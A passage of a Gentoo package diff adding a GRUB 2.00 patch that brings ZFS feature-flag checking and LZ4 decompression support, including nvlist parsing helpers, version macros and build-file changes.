++		if unlikely(op - ref < STEPSIZE) {
++#if LZ4_ARCH64
++			size_t dec2table[] = { 0, 0, 0, -1, 0, 1, 2, 3 };
++			size_t dec2 = dec2table[op - ref];
++#else
++			const int dec2 = 0;
++#endif
++			*op++ = *ref++;
++			*op++ = *ref++;
++			*op++ = *ref++;
++			*op++ = *ref++;
++			ref -= dec[op - ref];
++			A32(op) = A32(ref);
++			op += STEPSIZE - 4;
++			ref -= dec2;
++		} else {
++			LZ4_COPYSTEP(ref, op);
++		}
++		cpy = op + length - (STEPSIZE - 4);
++		if (cpy > oend - COPYLENGTH) {
++			if (cpy > oend)
++				/*
++				 * Error: request to write outside of
++				 * destination buffer.
++				 */
++				goto _output_error;
++			LZ4_SECURECOPY(ref, op, (oend - COPYLENGTH));
++			while (op < cpy)
++				*op++ = *ref++;
++			op = cpy;
++			if (op == oend)
++				/*
++				 * Check EOF (should never happen, since last
++				 * 5 bytes are supposed to be literals).
++				 */
++				break;
++			continue;
++		}
++		LZ4_SECURECOPY(ref, op, cpy);
++		op = cpy;	/* correction */
++	}
++
++	/* end of decoding */
++	return (int)(((char *)op) - dest);
++
++	/* write overflow error detected */
++	_output_error:
++	return (int)(-(((char *)ip) - source));
++}
+diff --git a/grub-core/fs/zfs/zfsinfo.c b/grub-core/fs/zfs/zfsinfo.c
+index fdb587a..c96bf21 100644
+--- a/grub-core/fs/zfs/zfsinfo.c
++++ b/grub-core/fs/zfs/zfsinfo.c
+@@ -132,21 +132,31 @@ print_vdev_info (char *nvlist, int tab)
+       grub_free (path);
+       return GRUB_ERR_NONE;
+     }
++  char is_mirror=(grub_strcmp(type,VDEV_TYPE_MIRROR) == 0);
++  char is_raidz=(grub_strcmp(type,VDEV_TYPE_RAIDZ) == 0);
+ 
+-  if (grub_strcmp (type, VDEV_TYPE_MIRROR) == 0)
++  if (is_mirror || is_raidz)
+     {
+       int nelm, i;
+ 
+       nelm = grub_zfs_nvlist_lookup_nvlist_array_get_nelm
+ 	(nvlist, ZPOOL_CONFIG_CHILDREN);
+ 
++      if(is_mirror){
++	 grub_puts_ (N_("This VDEV is a mirror"));
++      }
++      else if(is_raidz){
++	 grub_uint64_t parity;
++	 grub_zfs_nvlist_lookup_uint64(nvlist,"nparity",&parity);
++	 grub_printf_ (N_("This VDEV is a RAIDZ%llu\n"),(unsigned long long)parity);
++      }
+       print_tabs (tab);
+       if (nelm <= 0)
+ 	{
+-	  grub_puts_ (N_("Incorrect mirror"));
++	  grub_puts_ (N_("Incorrect VDEV"));
+ 	  return GRUB_ERR_NONE;
+ 	}
+-      grub_printf_ (N_("Mirror with %d children\n"), nelm);
++      grub_printf_ (N_("VDEV with %d children\n"), nelm);
+       print_state (nvlist, tab);
+       for (i = 0; i < nelm; i++)
+ 	{
+@@ -162,14 +172,14 @@ print_vdev_info (char *nvlist, int tab)
+ 		 total element number. And the number itself is fine,
+ 		 only the element isn't.
+ 	      */
+-	      grub_printf_ (N_("Mirror element number %d isn't correct\n"), i);
++	      grub_printf_ (N_("VDEV element number %d isn't correct\n"), i);
+ 	      continue;
+ 	    }
+ 
+ 	  /* TRANSLATORS: it's the element carying the number %d, not
+ 	     total element number. This is used in enumeration
+ 	     "Element number 1", "Element number 2", ... */
+-	  grub_printf_ (N_("Mirror element number %d:\n"), i);
++	  grub_printf_ (N_("VDEV element number %d:\n"), i);
+ 	  print_vdev_info (child, tab + 1);
+ 
+ 	  grub_free (child);
+diff --git a/include/grub/zfs/dmu.h b/include/grub/zfs/dmu.h
+index 8fc6dc5..4ad616c 100644
+--- a/include/grub/zfs/dmu.h
++++ b/include/grub/zfs/dmu.h
+@@ -22,6 +22,39 @@
+ 
+ #ifndef	_SYS_DMU_H
+ #define	_SYS_DMU_H
++#define	B_FALSE	0
++#define	B_TRUE	1
++
++#define	DMU_OT_NEWTYPE 0x80
++#define	DMU_OT_METADATA 0x40
++#define	DMU_OT_BYTESWAP_MASK 0x3f
++
++#define	DMU_OT(byteswap, metadata) \
++	(DMU_OT_NEWTYPE | \
++	((metadata) ? DMU_OT_METADATA : 0) | \
++	((byteswap) & DMU_OT_BYTESWAP_MASK))
++
++#define	DMU_OT_IS_VALID(ot) (((ot) & DMU_OT_NEWTYPE) ? \
++	((ot) & DMU_OT_BYTESWAP_MASK) < DMU_BSWAP_NUMFUNCS : \
++	(ot) < DMU_OT_NUMTYPES)
++
++#define	DMU_OT_IS_METADATA(ot) (((ot) & DMU_OT_NEWTYPE) ? \
++	((ot) & DMU_OT_METADATA) : \
++	dmu_ot[(ot)].ot_metadata)
++
++typedef enum dmu_object_byteswap {
++	DMU_BSWAP_UINT8,
++	DMU_BSWAP_UINT16,
++	DMU_BSWAP_UINT32,
++	DMU_BSWAP_UINT64,
++	DMU_BSWAP_ZAP,
++	DMU_BSWAP_DNODE,
++	DMU_BSWAP_OBJSET,
++	DMU_BSWAP_ZNODE,
++	DMU_BSWAP_OLDACL,
++	DMU_BSWAP_ACL,
++	DMU_BSWAP_NUMFUNCS
++} dmu_object_byteswap_t;
+ 
+ /*
+  * This file describes the interface that the DMU provides for its
+@@ -89,7 +122,17 @@ typedef enum dmu_object_type {
+ 	DMU_OT_SA_ATTR_REGISTRATION,	/* ZAP */
+ 	DMU_OT_SA_ATTR_LAYOUTS,		/* ZAP */
+ 	DMU_OT_DSL_KEYCHAIN = 54,
+-	DMU_OT_NUMTYPES
++	DMU_OT_NUMTYPES,
++	DMU_OTN_UINT8_DATA = DMU_OT(DMU_BSWAP_UINT8, B_FALSE),
++	DMU_OTN_UINT8_METADATA = DMU_OT(DMU_BSWAP_UINT8, B_TRUE),
++	DMU_OTN_UINT16_DATA = DMU_OT(DMU_BSWAP_UINT16, B_FALSE),
++	DMU_OTN_UINT16_METADATA = DMU_OT(DMU_BSWAP_UINT16, B_TRUE),
++	DMU_OTN_UINT32_DATA = DMU_OT(DMU_BSWAP_UINT32, B_FALSE),
++	DMU_OTN_UINT32_METADATA = DMU_OT(DMU_BSWAP_UINT32, B_TRUE),
++	DMU_OTN_UINT64_DATA = DMU_OT(DMU_BSWAP_UINT64, B_FALSE),
++	DMU_OTN_UINT64_METADATA = DMU_OT(DMU_BSWAP_UINT64, B_TRUE),
++	DMU_OTN_ZAP_DATA = DMU_OT(DMU_BSWAP_ZAP, B_FALSE),
++	DMU_OTN_ZAP_METADATA = DMU_OT(DMU_BSWAP_ZAP, B_TRUE),
+ } dmu_object_type_t;
+ 
+ typedef enum dmu_objset_type {
+@@ -116,5 +159,6 @@ typedef enum dmu_objset_type {
+ #define	DMU_POOL_HISTORY		"history"
+ #define	DMU_POOL_PROPS			"pool_props"
+ #define	DMU_POOL_L2CACHE		"l2cache"
++#define	DMU_POOL_FEATURES_FOR_READ	"features_for_read"
+ 
+ #endif	/* _SYS_DMU_H */
+diff --git a/include/grub/zfs/zfs.h b/include/grub/zfs/zfs.h
+index e326c8b..761ade7 100644
+--- a/include/grub/zfs/zfs.h
++++ b/include/grub/zfs/zfs.h
+@@ -36,8 +36,13 @@ typedef enum grub_zfs_endian
+ /*
+  * On-disk version number.
+  */
+-#define	SPA_VERSION			33ULL
+-
++#define	SPA_VERSION_INITIAL		1ULL
++#define	SPA_VERSION_BEFORE_FEATURES	33ULL
++#define	SPA_VERSION			5000ULL
++#define	SPA_VERSION_FEATURES		5000ULL
++#define	SPA_VERSION_IS_SUPPORTED(v) \
++	(((v) >= SPA_VERSION_INITIAL && (v) <= SPA_VERSION_BEFORE_FEATURES) || \
++	((v) >= SPA_VERSION_FEATURES && (v) <= SPA_VERSION))
+ /*
+  * The following are configuration names used in the nvlist describing a pool's
+  * configuration.
+@@ -76,6 +81,7 @@ typedef enum grub_zfs_endian
+ #define	ZPOOL_CONFIG_DDT_HISTOGRAM	"ddt_histogram"
+ #define	ZPOOL_CONFIG_DDT_OBJ_STATS	"ddt_object_stats"
+ #define	ZPOOL_CONFIG_DDT_STATS		"ddt_stats"
++#define	ZPOOL_CONFIG_FEATURES_FOR_READ	"features_for_read"
+ /*
+  * The persistent vdev state is stored as separate values rather than a single
+  * 'vdev_state' entry.  This is because a device can be in multiple states, such
+diff --git a/include/grub/zfs/zio.h b/include/grub/zfs/zio.h
+index b1c46da..8fad2cc 100644
+--- a/include/grub/zfs/zio.h
++++ b/include/grub/zfs/zio.h
+@@ -88,6 +88,7 @@ enum zio_compress {
+ 	ZIO_COMPRESS_GZIP8,
+ 	ZIO_COMPRESS_GZIP9,
+ 	ZIO_COMPRESS_ZLE,
++	ZIO_COMPRESS_LZ4,
+ 	ZIO_COMPRESS_FUNCTIONS
+ };
+ 
+diff --git a/po/POTFILES.in b/po/POTFILES.in
+index 987b37a..c55d9e3 100644
+--- a/po/POTFILES.in
++++ b/po/POTFILES.in
+@@ -173,6 +173,7 @@
+ ./grub-core/fs/zfs/zfs_fletcher.c
+ ./grub-core/fs/zfs/zfsinfo.c
+ ./grub-core/fs/zfs/zfs_lzjb.c
++./grub-core/fs/zfs/zfs_lz4.c
+ ./grub-core/fs/zfs/zfs_sha256.c
+ ./grub-core/gdb/cstub.c
+ ./grub-core/gdb/gdb.c
diff --git a/sys-boot/grub/files/grub-2.00-zfs-feature-flag-support.patch b/sys-boot/grub/files/grub-2.00-zfs-feature-flag-support.patch
new file mode 100644
index 00000000..998dc073
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-zfs-feature-flag-support.patch
@@ -0,0 +1,1017 @@
+ZFS Feature Flag Support
+
+This is a monolithic version of the following commits:
+
+https://github.com/maxximino/grub2/commit/31a32560fd7948ae5ff5c63105d7c068de7890c8
+https://github.com/maxximino/grub2/commit/595d76e8ca0690a963f5533689de8db54ef07e75
+https://github.com/maxximino/grub2/commit/58344034e40218b20500fa2936eb4d7d019e1e88
+https://github.com/maxximino/grub2/commit/f98cb078abab2c14bb0766b5a0ceb055683dab81
+https://github.com/maxximino/grub2/commit/f12806f43a969a654dee7bb89b2e8fd5c42f0e2e
+
+A minor change was made to account for d8a0feb6 from upstream. This change
+prevents a compile time failure that is caused by a change in the callback
+interface used by mzap_interate().
+
+The initial feature flag support patches were written by Delphix while the LZ4
+support was written by Saso Kiselkov. The work porting this to GRUB2 was done
+by Massimo Maggi, while the adaption to Gentoo's GRUB2 package was done by
+Richard Yao. 
+
+diff --git a/Makefile.util.def b/Makefile.util.def
+index b80187c..1bf3038 100644
+--- a/Makefile.util.def
++++ b/Makefile.util.def
+@@ -95,6 +95,7 @@ library = {
+   common = grub-core/fs/zfs/zfs.c;
+   common = grub-core/fs/zfs/zfsinfo.c;
+   common = grub-core/fs/zfs/zfs_lzjb.c;
++  common = grub-core/fs/zfs/zfs_lz4.c;
+   common = grub-core/fs/zfs/zfs_sha256.c;
+   common = grub-core/fs/zfs/zfs_fletcher.c;
+   common = grub-core/lib/envblk.c;
+diff --git a/grub-core/Makefile.core.def b/grub-core/Makefile.core.def
+index 39e77a4..1550b90 100644
+--- a/grub-core/Makefile.core.def
++++ b/grub-core/Makefile.core.def
+@@ -1186,6 +1186,7 @@ module = {
+   name = zfs;
+   common = fs/zfs/zfs.c;
+   common = fs/zfs/zfs_lzjb.c;
++  common = fs/zfs/zfs_lz4.c;
+   common = fs/zfs/zfs_sha256.c;
+   common = fs/zfs/zfs_fletcher.c;
+ };
+diff --git a/grub-core/fs/zfs/zfs.c b/grub-core/fs/zfs/zfs.c
+index ba0554a..de31e6c 100644
+--- a/grub-core/fs/zfs/zfs.c
++++ b/grub-core/fs/zfs/zfs.c
+@@ -2,6 +2,7 @@
+  *  GRUB  --  GRand Unified Bootloader
+  *  Copyright (C) 1999,2000,2001,2002,2003,2004,2009,2010,2011  Free Software Foundation, Inc.
+  *  Copyright 2010  Sun Microsystems, Inc.
++ *  Copyright (c) 2012 by Delphix. All rights reserved.
+  *
+  *  GRUB is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+@@ -153,11 +154,13 @@ ZAP_LEAF_ENTRY(zap_leaf_phys_t *l, int bs, int idx)
+ 
+ 
+ /*
+- * Decompression Entry - lzjb
++ * Decompression Entry - lzjb & lz4
+  */
+ 
+ extern grub_err_t lzjb_decompress (void *, void *, grub_size_t, grub_size_t);
+ 
++extern grub_err_t lz4_decompress (void *, void *, grub_size_t, grub_size_t);
++
+ typedef grub_err_t zfs_decomp_func_t (void *s_start, void *d_start,
+ 				      grub_size_t s_len, grub_size_t d_len);
+ typedef struct decomp_entry
+@@ -263,6 +266,19 @@ grub_crypto_cipher_handle_t (*grub_zfs_load_key) (const struct grub_zfs_key *key
+ 						  grub_size_t keysize,
+ 						  grub_uint64_t salt,
+ 						  grub_uint64_t algo) = NULL;
++/*
++ * List of pool features that the grub implementation of ZFS supports for
++ * read. Note that features that are only required for write do not need
++ * to be listed here since grub opens pools in read-only mode.
++ */
++static const char *spa_feature_names[] = {
++	"org.illumos:lz4_compress",NULL
++};
++
++static int
++check_feature(const char *name, grub_uint64_t val);
++static int
++check_mos_features(dnode_phys_t *mosmdn_phys,grub_zfs_endian_t endian,struct grub_zfs_data* data );
+ 
+ static grub_err_t 
+ zlib_decompress (void *s, void *d,
+@@ -322,6 +338,7 @@ static decomp_entry_t decomp_table[ZIO_COMPRESS_FUNCTIONS] = {
+   {"gzip-8", zlib_decompress},  /* ZIO_COMPRESS_GZIP8 */
+   {"gzip-9", zlib_decompress},  /* ZIO_COMPRESS_GZIP9 */
+   {"zle", zle_decompress},      /* ZIO_COMPRESS_ZLE   */
++  {"lz4", lz4_decompress},      /* ZIO_COMPRESS_LZ4   */
+ };
+ 
+ static grub_err_t zio_read_data (blkptr_t * bp, grub_zfs_endian_t endian,
+@@ -482,15 +499,11 @@ uberblock_verify (uberblock_phys_t * ub, grub_uint64_t offset,
+ 
+   if (grub_zfs_to_cpu64 (uber->ub_magic, GRUB_ZFS_LITTLE_ENDIAN)
+       == UBERBLOCK_MAGIC
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_LITTLE_ENDIAN) > 0 
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_LITTLE_ENDIAN)
+-      <= SPA_VERSION)
+-    endian = GRUB_ZFS_LITTLE_ENDIAN;
++      && SPA_VERSION_IS_SUPPORTED(grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_LITTLE_ENDIAN)))
++     endian = GRUB_ZFS_LITTLE_ENDIAN;
+ 
+   if (grub_zfs_to_cpu64 (uber->ub_magic, GRUB_ZFS_BIG_ENDIAN) == UBERBLOCK_MAGIC
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_BIG_ENDIAN) > 0 
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_BIG_ENDIAN)
+-      <= SPA_VERSION)
++      && SPA_VERSION_IS_SUPPORTED(grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_BIG_ENDIAN)))
+     endian = GRUB_ZFS_BIG_ENDIAN;
+ 
+   if (endian == GRUB_ZFS_UNKNOWN_ENDIAN)
+@@ -764,6 +777,155 @@ fill_vdev_info (struct grub_zfs_data *data,
+ }
+ 
+ /*
++ * For a given XDR packed nvlist, verify the first 4 bytes and move on.
++ *
++ * An XDR packed nvlist is encoded as (comments from nvs_xdr_create) :
++ *
++ *      encoding method/host endian     (4 bytes)
++ *      nvl_version                     (4 bytes)
++ *      nvl_nvflag                      (4 bytes)
++ *	encoded nvpairs:
++ *		encoded size of the nvpair      (4 bytes)
++ *		decoded size of the nvpair      (4 bytes)
++ *		name string size                (4 bytes)
++ *		name string data                (sizeof(NV_ALIGN4(string))
++ *		data type                       (4 bytes)
++ *		# of elements in the nvpair     (4 bytes)
++ *		data
++ *      2 zero's for the last nvpair
++ *		(end of the entire list)	(8 bytes)
++ *
++ */
++
++/*
++ * The nvlist_next_nvpair() function returns a handle to the next nvpair in the
++ * list following nvpair. If nvpair is NULL, the first pair is returned. If
++ * nvpair is the last pair in the nvlist, NULL is returned.
++ */
++static const char *
++nvlist_next_nvpair(const char *nvl, const char *nvpair)
++{
++	const char *nvp;
++	int encode_size;
++	int name_len;
++	if (nvl == NULL)
++		return (NULL);
++
++	if (nvpair == NULL) {
++		/* skip over header, nvl_version and nvl_nvflag */
++		nvpair = nvl + 4 * 3;
++	} else {
++		/* skip to the next nvpair */
++		encode_size = grub_be_to_cpu32 (grub_get_unaligned32(nvpair));
++		nvpair += encode_size;
++	}
++	/* 8 bytes of 0 marks the end of the list */
++	if (*(grub_uint64_t*)nvpair == 0)
++		return (NULL);
++	/*consistency checks*/
++	if (nvpair + 4 * 3 >= nvl + VDEV_PHYS_SIZE)
++	{
++	  grub_dprintf ("zfs", "nvlist overflow\n");
++	  grub_error (GRUB_ERR_BAD_FS, "incorrect nvlist");
++	  return (NULL);
++	}
++	encode_size = grub_be_to_cpu32 (grub_get_unaligned32(nvpair));
++
++	nvp = nvpair + 4*2;
++	name_len = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp += 4;
++
++	nvp = nvp + ((name_len + 3) & ~3); // align 
++	if (nvp + 4 >= nvl + VDEV_PHYS_SIZE                        
++	    || encode_size < 0
++	    || nvp + 4 + encode_size > nvl + VDEV_PHYS_SIZE)       
++	{
++	  grub_dprintf ("zfs", "nvlist overflow\n");
++	  grub_error (GRUB_ERR_BAD_FS, "incorrect nvlist");
++	  return (NULL);
++	}
++	 /* end consistency checks */
++
++	return (nvpair);
++}
++/*
++ * This function returns 0 on success and 1 on failure. On success, a string
++ * containing the name of nvpair is saved in buf.
++ */
++static int
++nvpair_name(const char *nvp, char **buf, int* buflen)
++{
++	int len;
++
++	/* skip over encode/decode size */
++	nvp += 4 * 2;
++
++	len = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp=nvp+4;
++	
++	*buf=(char*)nvp;
++	*buflen=len;
++
++	return (0);
++}
++/*
++ * This function retrieves the value of the nvpair in the form of enumerated
++ * type data_type_t.
++ */
++static int
++nvpair_type(const char *nvp)
++{
++	int name_len, type;
++
++	/* skip over encode/decode size */
++	nvp += 4 * 2;
++
++	/* skip over name_len */
++	name_len = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp += 4;
++
++	/* skip over name */
++	nvp = nvp + ((name_len + 3) & ~3); /* align */
++
++	type = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++
++	return (type);
++}
++static int
++nvpair_value(const char *nvp,char **val,
++		   grub_size_t *size_out, grub_size_t *nelm_out)
++{
++	int name_len,nelm,encode_size;
++
++	/* skip over encode/decode size */
++	encode_size = grub_be_to_cpu32 (grub_get_unaligned32(nvp));
++	nvp += 8;
++
++	/* skip over name_len */
++	name_len = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp += 4;
++
++	/* skip over name */
++	nvp = nvp + ((name_len + 3) & ~3); /* align */
++	
++	/* skip over type */
++	nvp += 4;
++	nelm = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp +=4;
++	if (nelm < 1)
++	{
++	  grub_error (GRUB_ERR_BAD_FS, "empty nvpair");
++	  return 0;
++	}
++	  *val = (char *) nvp;
++	  *size_out = encode_size;
++	  if (nelm_out)
++	    *nelm_out = nelm;
++	    
++	return 1;
++}
++
++/*
+  * Check the disk label information and retrieve needed vdev name-value pairs.
+  *
+  */
+@@ -773,7 +935,7 @@ check_pool_label (struct grub_zfs_data *data,
+ 		  int *inserted)
+ {
+   grub_uint64_t pool_state, txg = 0;
+-  char *nvlist;
++  char *nvlist,*features;
+ #if 0
+   char *nv;
+ #endif
+@@ -837,13 +999,13 @@ check_pool_label (struct grub_zfs_data *data,
+     }
+   grub_dprintf ("zfs", "check 8 passed\n");
+ 
+-  if (version > SPA_VERSION)
++  if (!SPA_VERSION_IS_SUPPORTED(version))
+     {
+       grub_free (nvlist);
+       return grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,
+ 			 "too new version %llu > %llu",
+ 			 (unsigned long long) version,
+-			 (unsigned long long) SPA_VERSION);
++			 (unsigned long long) SPA_VERSION_BEFORE_FEATURES);
+     }
+   grub_dprintf ("zfs", "check 9 passed\n");
+ 
+@@ -893,7 +1055,30 @@ check_pool_label (struct grub_zfs_data *data,
+     grub_free (nv);
+   }
+   grub_dprintf ("zfs", "check 10 passed\n");
+-
++  if ((features=grub_zfs_nvlist_lookup_nvlist(nvlist, ZPOOL_CONFIG_FEATURES_FOR_READ)))
++  {
++    const char *nvp=NULL;
++    char *name = grub_zalloc(51);
++    char *nameptr;
++    int namelen;
++    while ((nvp = nvlist_next_nvpair(features, nvp)) != NULL)
++    {
++      nvpair_name(nvp, &nameptr,&namelen);
++      if(namelen > 50){namelen=50;}
++      grub_strncpy(name,nameptr,namelen);
++      name[namelen]=0;
++      grub_dprintf("zfs","namelen=%u str=%s\n",namelen,name);
++      if (check_feature(name,1) != 0)
++      {
++	grub_dprintf("zfs","feature missing in check_pool_label:%s\n",name);
++	err= grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET," check_pool_label missing feature '%s' for read",name);
++	grub_free(name);
++	return err;
++      }
++    }
++    grub_free(name);
++  }
++  grub_dprintf ("zfs", "check 12 passed (feature flags)\n");
+   grub_free (nvlist);
+ 
+   return GRUB_ERR_NONE;
+@@ -3034,34 +3219,14 @@ dnode_get_fullpath (const char *fullpath, struct subvolume *subvol,
+   return err;
+ }
+ 
+-/*
+- * For a given XDR packed nvlist, verify the first 4 bytes and move on.
+- *
+- * An XDR packed nvlist is encoded as (comments from nvs_xdr_create) :
+- *
+- *      encoding method/host endian     (4 bytes)
+- *      nvl_version                     (4 bytes)
+- *      nvl_nvflag                      (4 bytes)
+- *	encoded nvpairs:
+- *		encoded size of the nvpair      (4 bytes)
+- *		decoded size of the nvpair      (4 bytes)
+- *		name string size                (4 bytes)
+- *		name string data                (sizeof(NV_ALIGN4(string))
+- *		data type                       (4 bytes)
+- *		# of elements in the nvpair     (4 bytes)
+- *		data
+- *      2 zero's for the last nvpair
+- *		(end of the entire list)	(8 bytes)
+- *
+- */
+-
+ static int
+ nvlist_find_value (const char *nvlist_in, const char *name,
+ 		   int valtype, char **val,
+ 		   grub_size_t *size_out, grub_size_t *nelm_out)
+ {
+-  int name_len, type, encode_size;
+-  const char *nvpair, *nvp_name, *nvlist = nvlist_in;
++  int name_len, type ;
++  const char *nvpair=NULL,*nvlist=nvlist_in;
++  char *nvp_name;
+ 
+   /* Verify if the 1st and 2nd byte in the nvlist are valid. */
+   /* NOTE: independently of what endianness header announces all 
+@@ -3074,62 +3239,18 @@ nvlist_find_value (const char *nvlist_in, const char *name,
+       return 0;
+     }
+ 
+-  /* skip the header, nvl_version, and nvl_nvflag */
+-  nvlist = nvlist + 4 * 3;
+   /*
+    * Loop thru the nvpair list
+    * The XDR representation of an integer is in big-endian byte order.
+    */
+-  while ((encode_size = grub_be_to_cpu32 (grub_get_unaligned32 (nvlist))))
++  while ((nvpair=nvlist_next_nvpair(nvlist,nvpair)))
+     {
+-      int nelm;
+-
+-      if (nvlist + 4 * 4 >= nvlist_in + VDEV_PHYS_SIZE)
+-	{
+-	  grub_dprintf ("zfs", "nvlist overflow\n");
+-	  grub_error (GRUB_ERR_BAD_FS, "incorrect nvlist");
+-	  return 0;
+-	}
+-
+-      nvpair = nvlist + 4 * 2;	/* skip the encode/decode size */
+-
+-      name_len = grub_be_to_cpu32 (grub_get_unaligned32 (nvpair));
+-      nvpair += 4;
+-
+-      nvp_name = nvpair;
+-      nvpair = nvpair + ((name_len + 3) & ~3);	/* align */
+-
+-      if (nvpair + 8 >= nvlist_in + VDEV_PHYS_SIZE
+-	  || encode_size < 0
+-	  || nvpair + 8 + encode_size > nvlist_in + VDEV_PHYS_SIZE)
++      nvpair_name(nvpair,&nvp_name,&name_len);
++      type = nvpair_type(nvpair);
++      if ((grub_strncmp (nvp_name, name, grub_strlen(name)) == 0) && type == valtype)
+ 	{
+-	  grub_dprintf ("zfs", "nvlist overflow\n");
+-	  grub_error (GRUB_ERR_BAD_FS, "incorrect nvlist");
+-	  return 0;
++	  return nvpair_value(nvpair,val,size_out,nelm_out);
+ 	}
+-
+-      type = grub_be_to_cpu32 (grub_get_unaligned32 (nvpair));
+-      nvpair += 4;
+-
+-      nelm = grub_be_to_cpu32 (grub_get_unaligned32 (nvpair));
+-      if (nelm < 1)
+-	{
+-	  grub_error (GRUB_ERR_BAD_FS, "empty nvpair");
+-	  return 0;
+-	}
+-
+-      nvpair += 4;
+-
+-      if ((grub_strncmp (nvp_name, name, name_len) == 0) && type == valtype)
+-	{
+-	  *val = (char *) nvpair;
+-	  *size_out = encode_size;
+-	  if (nelm_out)
+-	    *nelm_out = nelm;
+-	  return 1;
+-	}
+-
+-      nvlist += encode_size;	/* goto the next nvpair */
+     }
+   return 0;
+ }
+@@ -3386,6 +3507,10 @@ zfs_mount (grub_device_t dev)
+       return NULL;
+     }
+ 
++    if (ub->ub_version >= SPA_VERSION_FEATURES &&
++	check_mos_features(&((objset_phys_t *) osp)->os_meta_dnode,ub_endian, data) != 0)
++	  return NULL;
++	
+   /* Got the MOS. Save it at the memory addr MOS. */
+   grub_memmove (&(data->mos.dn), &((objset_phys_t *) osp)->os_meta_dnode,
+ 		DNODE_SIZE);
+@@ -3910,6 +4035,64 @@ grub_zfs_dir (grub_device_t device, const char *path,
+   return grub_errno;
+ }
+ 
++static int
++check_feature(const char *name, grub_uint64_t val)
++{
++  int i;
++  if(val ==0) return 0;
++  if(*name==0) return 0;
++  for (i = 0; spa_feature_names[i] != NULL; i++) 
++  {
++    if (grub_strcmp(name, spa_feature_names[i]) == 0) 
++        return 0;
++  }
++  grub_printf("missing feature for read '%s'\n",name);
++  return 1;
++}
++
++/*
++ * Checks whether the MOS features that are active are supported by this
++ * (GRUB's) implementation of ZFS.
++ *
++ * Return:
++ *	0: Success.
++ *	errnum: Failure.
++ */
++	    	   
++static int
++check_mos_features(dnode_phys_t *mosmdn_phys,grub_zfs_endian_t endian,struct grub_zfs_data* data )
++{
++  grub_uint64_t objnum;
++  grub_uint8_t errnum = 0;
++  dnode_end_t dn,mosmdn;
++  mzap_phys_t* mzp;
++  grub_zfs_endian_t endianzap;
++  int size;
++  grub_memmove(&(mosmdn.dn),mosmdn_phys,sizeof(dnode_phys_t));
++  mosmdn.endian=endian;
++  if ((errnum = dnode_get(&mosmdn, DMU_POOL_DIRECTORY_OBJECT,
++	  DMU_OT_OBJECT_DIRECTORY, &dn,data)) != 0)
++      return (errnum);
++
++  /*
++   * Find the object number for 'features_for_read' and retrieve its
++   * corresponding dnode. Note that we don't check features_for_write
++   * because GRUB is not opening the pool for write.
++   */
++  if ((errnum = zap_lookup(&dn, DMU_POOL_FEATURES_FOR_READ, &objnum, data,0)) != 0)
++      return (errnum);
++  
++  if ((errnum = dnode_get(&mosmdn, objnum, DMU_OTN_ZAP_METADATA, &dn, data)) != 0)
++      return (errnum);
++
++  if ((errnum = dmu_read(&dn, 0, (void**)&mzp, &endianzap,data)) != 0)
++      return (errnum);
++
++  size = grub_zfs_to_cpu16 (dn.dn.dn_datablkszsec, dn.endian) << SPA_MINBLOCKSHIFT;
++  return (mzap_iterate(mzp,endianzap, size, check_feature));
++}
++
++
+ #ifdef GRUB_UTIL
+ static grub_err_t
+ grub_zfs_embed (grub_device_t device __attribute__ ((unused)),
+diff --git a/grub-core/fs/zfs/zfs_lz4.c b/grub-core/fs/zfs/zfs_lz4.c
+new file mode 100644
+index 0000000..f199434
+--- /dev/null
++++ b/grub-core/fs/zfs/zfs_lz4.c
+@@ -0,0 +1,321 @@
++/*
++ * LZ4 - Fast LZ compression algorithm
++ * Header File
++ * Copyright (C) 2011-2013, Yann Collet.
++ * BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
++ *
++ * Redistribution and use in source and binary forms, with or without
++ * modification, are permitted provided that the following conditions are
++ * met:
++ *
++ *     * Redistributions of source code must retain the above copyright
++ * notice, this list of conditions and the following disclaimer.
++ *     * Redistributions in binary form must reproduce the above
++ * copyright notice, this list of conditions and the following disclaimer
++ * in the documentation and/or other materials provided with the
++ * distribution.
++ *
++ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
++ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
++ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
++ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
++ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
++ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
++ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
++ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
++ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
++ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
++ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
++ *
++ * You can contact the author at :
++ * - LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html
++ * - LZ4 source repository : http://code.google.com/p/lz4/
++ */
++
++#include <grub/err.h>
++#include <grub/mm.h>
++#include <grub/misc.h>
++#include <grub/types.h>
++
++static int LZ4_uncompress_unknownOutputSize(const char *source, char *dest,
++					    int isize, int maxOutputSize);
++
++/*
++ * CPU Feature Detection
++ */
++
++/* 32 or 64 bits ? */
